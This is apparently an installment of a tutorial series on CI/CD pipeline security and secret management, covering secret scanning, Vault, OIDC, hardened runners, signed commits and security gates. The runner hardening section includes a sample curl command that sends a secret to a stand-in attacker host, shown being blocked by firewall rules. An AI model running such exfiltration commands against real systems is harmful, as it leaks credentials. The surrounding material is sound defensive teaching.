Part 24: Secure CI/CD Pipelines & Secret Management

Introduction

In 2021, the Codecov breach exposed secrets from thousands of CI/CD pipelines when attackers modified a single Bash script used in build processes. In 2022, the CircleCI incident compromised customer environment variables and tokens stored within the platform. These attacks share a common theme: CI/CD pipelines are high-value targets because they hold the keys to production.

Your pipeline is the most privileged system in your organisation. It has credentials to deploy to production, access to secret stores, permission to push container images, and authority to modify infrastructure. If an attacker compromises your pipeline, they effectively own your entire system.

Why Pipeline Security Matters

Traditional application security focuses on the code you write. Pipeline security focuses on the machinery that builds, tests, and deploys that code. The attack surface is fundamentally different:

• Blast radius — A single compromised pipeline can affect every service it deploys
• Stealth — Pipeline attacks can inject malicious code that passes all tests because the tests themselves are compromised
• Persistence — Attackers can maintain access by modifying CI configuration files
• Privilege escalation — Build systems often have more permissions than the application itself

The pipeline poisoning threat has become so significant that OWASP now includes "Insecure CI/CD" in their top supply chain risks, and NIST's SSDF (Secure Software Development Framework) explicitly addresses build system security.

Threat Model for CI/CD

Before hardening a pipeline, you need a clear threat model. Who are the attackers? What do they want? How might they get it? The following diagram maps the primary attack vectors against a typical CI/CD pipeline:

flowchart TD
    A[Source Code Repository] -->|1. Malicious PR| B[CI Pipeline]
    A -->|2. Compromised Dependency| B
    B -->|3. Secret Exfiltration| C[Secret Store]
    B -->|4. Build Manipulation| D[Artifact Registry]
    D -->|5. Tampered Image| E[Production Environment]
    F[Developer Workstation] -->|6. Stolen Credentials| A
    G[Third-Party Integration] -->|7. Compromised Plugin| B
    H[Self-Hosted Runner] -->|8. Persistent Backdoor| B

    style A fill:#f9f,stroke:#333
    style B fill:#ff9,stroke:#333
    style E fill:#f66,stroke:#333
                            

Attack Vectors Explained

Poisoned Pipeline Execution (PPE)

PPE is a class of attacks where an attacker modifies CI/CD pipeline configuration files to execute malicious code during the build process. There are three variants:

• Direct PPE (D-PPE) — Attacker directly modifies CI config in the main branch (requires write access)
• Indirect PPE (I-PPE) — Attacker modifies files referenced by CI config (Makefiles, scripts, Dockerfiles) without changing the CI config itself
• Public PPE (3PE) — Attacker submits a PR from a fork that triggers CI with modified workflow

Secret Management

Secrets — API keys, database passwords, TLS certificates, OAuth tokens — are the lifeblood of modern applications. They're also the most common target in CI/CD attacks. A single leaked credential can compromise entire systems.

Why Hardcoded Secrets Kill

Despite decades of warnings, hardcoded secrets remain one of the most prevalent vulnerabilities. A 2023 GitGuardian study found over 10 million secrets exposed in public repositories in a single year. The reasons are predictable:

• Convenience — Copy-paste is easier than proper secret management
• Ignorance — Developers don't realise that git history is permanent
• Testing shortcuts — "I'll remove it before the PR" (they don't)
• Configuration drift — What starts as a test value becomes production

Once a secret is committed to git, even if removed in the next commit, it persists in history. Automated scanners continuously mine public repositories for exposed credentials, and exploitation happens within minutes of exposure.

Secret Scanning Tools

Pre-commit hooks and CI checks can catch secrets before they enter the repository. Here are the leading tools:

# Install gitleaks (Go binary)
brew install gitleaks

# Scan the entire repository history
gitleaks detect --source . --verbose

# Scan only staged changes (pre-commit hook)
gitleaks protect --staged --verbose

# Custom rules configuration
cat .gitleaks.toml
[extend]
useDefault = true

[[rules]]
id = "custom-api-key"
description = "Custom API key pattern"
regex = '''MYAPP_[A-Z]+_KEY\s*=\s*['"][a-zA-Z0-9]{32,}['"]'''
tags = ["key", "custom"]

# Install truffleHog
pip install trufflehog

# Scan git history for high-entropy strings
trufflehog git file://. --only-verified

# Scan a specific branch
trufflehog git file://. --branch main --only-verified

# Include results in CI pipeline (exit code 1 on findings)
trufflehog git file://. --fail --only-verified

# GitHub Actions: Secret scanning with gitleaks
name: Secret Scan
on: [push, pull_request]

jobs:
  gitleaks:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          fetch-depth: 0

      - uses: gitleaks/gitleaks-action@v2
        env:
          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
          GITLEAKS_LICENSE: ${{ secrets.GITLEAKS_LICENSE }}

Secret Storage Solutions

Proper secret storage requires centralised management, access control, audit logging, and automatic rotation. The following table compares the leading solutions:

Dynamic Secrets

Dynamic secrets are generated on-demand with a short TTL and automatically revoked after use. They eliminate the risk of credential reuse and long-lived tokens:

# HashiCorp Vault: Enable database secrets engine
vault secrets enable database

# Configure PostgreSQL connection
vault write database/config/mydb \
    plugin_name="postgresql-database-plugin" \
    allowed_roles="readonly" \
    connection_url="postgresql://{{username}}:{{password}}@db.example.com:5432/mydb" \
    username="vault_admin" \
    password="vault_admin_password"

# Create a role with short-lived credentials (1 hour TTL)
vault write database/roles/readonly \
    db_name="mydb" \
    creation_statements="CREATE ROLE \"{{name}}\" WITH LOGIN PASSWORD '{{password}}' VALID UNTIL '{{expiration}}'; GRANT SELECT ON ALL TABLES IN SCHEMA public TO \"{{name}}\";" \
    default_ttl="1h" \
    max_ttl="24h"

# Generate dynamic credentials (unique per request)
vault read database/creds/readonly
# Key             Value
# lease_id        database/creds/readonly/abc123
# lease_duration  1h
# username        v-token-readonly-xYz789
# password        A1b2C3d4E5f6G7h8

OIDC for CI/CD

OpenID Connect (OIDC) federation is the modern approach to authenticating CI/CD pipelines to cloud providers. Instead of storing long-lived cloud credentials as CI secrets, the pipeline requests a short-lived token during execution using its identity as proof.

sequenceDiagram
    participant GH as GitHub Actions
    participant GHOIDC as GitHub OIDC Provider
    participant AWS as AWS STS
    participant S3 as AWS S3 Bucket

    GH->>GHOIDC: Request OIDC token (JWT)
    GHOIDC-->>GH: Signed JWT (sub: repo, aud: sts.amazonaws.com)
    GH->>AWS: AssumeRoleWithWebIdentity(JWT)
    AWS->>GHOIDC: Verify JWT signature
    GHOIDC-->>AWS: Valid token confirmed
    AWS-->>GH: Temporary credentials (15min-1hr)
    GH->>S3: Upload artifact with temp credentials
    Note over GH,S3: Credentials expire automatically
                            

GitHub Actions OIDC Configuration

Here's a complete OIDC setup for GitHub Actions deploying to AWS without any stored AWS credentials:

# .github/workflows/deploy.yml
name: Deploy to AWS (OIDC)
on:
  push:
    branches: [main]

permissions:
  id-token: write   # Required for OIDC
  contents: read    # Required for checkout

jobs:
  deploy:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - name: Configure AWS credentials via OIDC
        uses: aws-actions/configure-aws-credentials@v4
        with:
          role-to-assume: arn:aws:iam::123456789012:role/GitHubActionsDeployRole
          role-session-name: github-actions-deploy
          aws-region: us-east-1
          # No access-key-id or secret-access-key needed!

      - name: Deploy to S3
        run: aws s3 sync ./dist s3://my-app-bucket --delete

      - name: Invalidate CloudFront
        run: |
          aws cloudfront create-invalidation \
            --distribution-id E1234567890 \
            --paths "/*"

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "Federated": "arn:aws:iam::123456789012:oidc-provider/token.actions.githubusercontent.com"
      },
      "Action": "sts:AssumeRoleWithWebIdentity",
      "Condition": {
        "StringEquals": {
          "token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
        },
        "StringLike": {
          "token.actions.githubusercontent.com:sub": "repo:my-org/my-repo:ref:refs/heads/main"
        }
      }
    }
  ]
}

Least-Privilege Runners

CI/CD runners are the compute layer where your builds execute. If a runner is compromised, the attacker gains access to everything that runs on it. The principle of least privilege demands that runners have only the permissions they need, for only as long as they need them.

Ephemeral Runners

Ephemeral runners are created fresh for each job and destroyed immediately after. They prevent persistence attacks because there is no state to exploit between builds:

# GitHub Actions: Ephemeral self-hosted runner (auto-scales)
# Using actions-runner-controller (ARC) on Kubernetes
apiVersion: actions.summerwind.dev/v1alpha1
kind: RunnerDeployment
metadata:
  name: ephemeral-runners
spec:
  replicas: 0  # Scale from zero
  template:
    spec:
      ephemeral: true  # Runner de-registers after one job
      repository: my-org/my-repo
      labels:
        - self-hosted
        - linux
        - ephemeral
      dockerEnabled: false  # No Docker-in-Docker (security)
      resources:
        limits:
          cpu: "2"
          memory: "4Gi"
---
apiVersion: actions.summerwind.dev/v1alpha1
kind: HorizontalRunnerAutoscaler
metadata:
  name: ephemeral-runner-autoscaler
spec:
  scaleTargetRef:
    name: ephemeral-runners
  minReplicas: 0
  maxReplicas: 20
  scaleUpTriggers:
    - githubEvent:
        workflowJob: {}
      duration: "30m"

Self-Hosted Runner Hardening

When you must use self-hosted runners (for specialised hardware, compliance, or network access), apply these hardening measures:

• Network isolation — Runners should only access the resources they need; block outbound internet except allow-listed endpoints
• Separate runner groups — Production deployment runners must be separate from PR validation runners
• No persistent storage — Wipe the workspace between jobs; use ephemeral volumes
• Read-only filesystems — Mount the OS filesystem read-only; only the workspace directory is writable
• Minimal tooling — Install only required tools; no compilers, debuggers, or network utilities beyond what's needed
• Monitoring — Log all processes, network connections, and file access on runners

# Runner hardening: restrict outbound network access
# iptables rules for CI runner (allow only essential services)
iptables -A OUTPUT -d 10.0.0.0/8 -j ACCEPT         # Internal services
iptables -A OUTPUT -d 140.82.112.0/20 -j ACCEPT    # GitHub API
iptables -A OUTPUT -d 185.199.108.0/22 -j ACCEPT   # GitHub packages
iptables -A OUTPUT -p tcp --dport 443 -d registry.npmjs.org -j ACCEPT
iptables -A OUTPUT -p tcp --dport 443 -d pypi.org -j ACCEPT
iptables -A OUTPUT -j DROP                           # Block everything else

# Verify: attempt to exfiltrate data fails
curl -s https://evil-server.example.com/exfil?data=secret
# curl: (7) Failed to connect - Connection refused

Pipeline Poisoning Prevention

Pipeline poisoning occurs when an attacker modifies CI/CD configuration or build scripts to inject malicious behaviour. Prevention requires a multi-layered approach combining access controls, review processes, and runtime protections.

Branch Protection Rules

# GitHub repository settings (via API or UI)
# Branch protection for 'main':
branch_protection:
  required_pull_request_reviews:
    required_approving_review_count: 2
    dismiss_stale_reviews: true
    require_code_owner_reviews: true
  required_status_checks:
    strict: true  # Branch must be up-to-date
    contexts:
      - "ci/build"
      - "ci/test"
      - "security/scan"
  enforce_admins: true  # Even admins can't bypass
  restrictions:
    teams: ["platform-team"]  # Only platform team can push
  required_linear_history: true
  allow_force_pushes: false
  allow_deletions: false

CODEOWNERS for Pipeline Files

# .github/CODEOWNERS
# Pipeline configuration requires platform team review
.github/workflows/    @my-org/platform-security
Dockerfile            @my-org/platform-security
docker-compose*.yml   @my-org/platform-security
Makefile              @my-org/platform-security
scripts/ci/           @my-org/platform-security
terraform/            @my-org/platform-security @my-org/infra-team
.gitlab-ci.yml        @my-org/platform-security
Jenkinsfile           @my-org/platform-security

# Package manifests (supply chain)
package-lock.json     @my-org/security-team
go.sum                @my-org/security-team
requirements.txt      @my-org/security-team

Fork Isolation

Pull requests from forks should never have access to repository secrets. Configure your CI to treat fork PRs differently:

# GitHub Actions: Separate workflows for forks vs internal PRs
name: CI (Fork Safe)
on:
  pull_request:
    # This runs in the context of the fork — no secrets available
    types: [opened, synchronize]

jobs:
  build-and-test:
    runs-on: ubuntu-latest
    # No secrets available here for fork PRs
    steps:
      - uses: actions/checkout@v4
      - run: npm ci
      - run: npm test

  # Only runs for internal PRs (not forks)
  integration-test:
    if: github.event.pull_request.head.repo.full_name == github.repository
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: npm ci
      - name: Run integration tests
        env:
          DATABASE_URL: ${{ secrets.TEST_DATABASE_URL }}
        run: npm run test:integration

Signed Commits & Verified Builds

Code signing provides non-repudiation — cryptographic proof that a specific person authored a specific change. In a secure pipeline, only signed commits should be deployable to production.

GPG and SSH Signing

# SSH signing (simpler than GPG, recommended for most teams)
# Generate a signing key
ssh-keygen -t ed25519 -f ~/.ssh/signing_key -C "signing"

# Configure git to use SSH signing
git config --global gpg.format ssh
git config --global user.signingkey ~/.ssh/signing_key.pub
git config --global commit.gpgsign true
git config --global tag.gpgsign true

# Verify a signed commit
git log --show-signature -1
# Good "git" signature for wasil@example.com with ED25519 key SHA256:abc123...

# Sigstore gitsign: Keyless signing via OIDC
# No key management needed — uses your identity provider
brew install sigstore/tap/gitsign

# Configure git to use gitsign
git config --global commit.gpgsign true
git config --global gpg.x509.program gitsign
git config --global gpg.format x509

# Sign a commit (opens browser for OIDC auth)
git commit -m "feat: add feature"
# [main abc1234] feat: add feature (signed by wasil@example.com via Sigstore)

Requiring Signed Commits in CI

# GitHub Actions: Verify commit signatures
name: Verify Signatures
on: [push, pull_request]

jobs:
  verify-signatures:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          fetch-depth: 0

      - name: Verify all commits are signed
        run: |
          UNSIGNED=$(git log --format='%H %G?' origin/main..HEAD | grep -v ' G$' | grep -v ' U$')
          if [ -n "$UNSIGNED" ]; then
            echo "ERROR: Unsigned commits found:"
            echo "$UNSIGNED"
            exit 1
          fi
          echo "All commits are signed ✓"

Audit Logging & Compliance

For SOC2, ISO 27001, PCI-DSS, and HIPAA compliance, you need complete audit trails of your delivery pipeline. Every deployment must answer: Who approved it, what changed, when it deployed, and where it went.

Deployment Records

import json
import datetime
import hashlib

def create_deployment_record(deploy_info):
    """Generate an immutable deployment audit record."""
    record = {
        "deployment_id": deploy_info["id"],
        "timestamp": datetime.datetime.utcnow().isoformat() + "Z",
        "service": deploy_info["service"],
        "version": deploy_info["version"],
        "environment": deploy_info["environment"],
        "deployer": {
            "identity": deploy_info["actor"],
            "method": "oidc",  # How they authenticated
            "ip_address": deploy_info["source_ip"]
        },
        "approval": {
            "pr_number": deploy_info["pr_number"],
            "approvers": deploy_info["approvers"],
            "approved_at": deploy_info["approved_at"]
        },
        "artifact": {
            "image": deploy_info["image"],
            "digest": deploy_info["image_digest"],
            "sbom_hash": deploy_info["sbom_sha256"]
        },
        "change_ticket": deploy_info.get("ticket_id"),
        "rollback_version": deploy_info["previous_version"]
    }

    # Create tamper-evident hash
    record["integrity_hash"] = hashlib.sha256(
        json.dumps(record, sort_keys=True).encode()
    ).hexdigest()

    return record

# Example usage
record = create_deployment_record({
    "id": "deploy-2026-05-13-001",
    "service": "payment-api",
    "version": "v2.14.3",
    "environment": "production",
    "actor": "ci-bot@github-oidc",
    "source_ip": "10.0.1.50",
    "pr_number": 1847,
    "approvers": ["alice@example.com", "bob@example.com"],
    "approved_at": "2026-05-13T10:30:00Z",
    "image": "registry.example.com/payment-api:v2.14.3",
    "image_digest": "sha256:abc123def456...",
    "sbom_sha256": "sha256:789ghi012jkl...",
    "ticket_id": "CHG-4521",
    "previous_version": "v2.14.2"
})
print(json.dumps(record, indent=2))

Container Security in CI

Container images built in CI are the artefacts that actually reach production. Securing the build process prevents supply chain attacks at the last mile.

Secure Dockerfile Patterns

# Multi-stage build with minimal final image
# Stage 1: Build (has compilers, dev tools)
FROM golang:1.22-alpine AS builder
WORKDIR /app
COPY go.mod go.sum ./
RUN go mod download
COPY . .
RUN CGO_ENABLED=0 GOOS=linux go build -ldflags="-s -w" -o /app/server

# Stage 2: Runtime (minimal attack surface)
FROM gcr.io/distroless/static-debian12:nonroot
COPY --from=builder /app/server /server

# Run as non-root user (UID 65534)
USER nonroot:nonroot

# Read-only filesystem
# (enforced at runtime via Kubernetes securityContext)
ENTRYPOINT ["/server"]

# Kubernetes: Security context for CI-built containers
apiVersion: apps/v1
kind: Deployment
metadata:
  name: payment-api
spec:
  template:
    spec:
      securityContext:
        runAsNonRoot: true
        runAsUser: 65534
        fsGroup: 65534
        seccompProfile:
          type: RuntimeDefault
      containers:
        - name: payment-api
          image: registry.example.com/payment-api:v2.14.3@sha256:abc123
          securityContext:
            allowPrivilegeEscalation: false
            readOnlyRootFilesystem: true
            capabilities:
              drop: ["ALL"]
          volumeMounts:
            - name: tmp
              mountPath: /tmp
      volumes:
        - name: tmp
          emptyDir:
            sizeLimit: "100Mi"

Security Gates in Pipelines

Security gates are automated checkpoints in your pipeline that block or warn on security issues. They shift security left without slowing delivery — when properly calibrated.

flowchart LR
    A[Code Push] --> B[Secret Scan]
    B --> C[SAST]
    C --> D[Build]
    D --> E[Container Scan]
    E --> F[SCA / License]
    F --> G[DAST]
    G --> H[Deploy Staging]
    H --> I[Penetration Test]
    I --> J[Deploy Production]

    B -->|FAIL| X[Block Merge]
    C -->|HIGH/CRITICAL| X
    E -->|CRITICAL CVE| X
    F -->|Copyleft License| X
    G -->|OWASP Top 10| X

    style X fill:#f66,stroke:#333
    style J fill:#6f6,stroke:#333
                            

Gate Configuration: Fail vs Warn

# Complete security pipeline with gates
name: Security Pipeline
on:
  pull_request:
    branches: [main]

jobs:
  secret-scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          fetch-depth: 0
      - uses: gitleaks/gitleaks-action@v2

  sast:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: returntocorp/semgrep-action@v1
        with:
          config: >-
            p/owasp-top-ten
            p/javascript
            p/python
          generateSarif: "1"

  container-scan:
    needs: [secret-scan, sast]
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - name: Build image
        run: docker build -t app:${{ github.sha }} .
      - name: Scan with Trivy
        uses: aquasecurity/trivy-action@master
        with:
          image-ref: app:${{ github.sha }}
          exit-code: "1"
          severity: "CRITICAL"
          ignore-unfixed: true

  sca:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - name: Dependency check
        uses: dependency-check/Dependency-Check_Action@main
        with:
          project: "my-app"
          format: "SARIF"
          args: --failOnCVSS 9

Exercises

Conclusion & Next Steps

Securing your CI/CD pipeline is not a one-time project — it's an ongoing practice that evolves with your threat landscape. The key principles are clear: eliminate static credentials (use OIDC), assume breach (ephemeral runners, least privilege), verify everything (signed commits, signed artifacts), and detect anomalies (audit logging, monitoring).

The investment pays dividends beyond security. Teams with hardened pipelines deploy with more confidence, recover faster from incidents, and spend less time on compliance evidence collection because it's automated.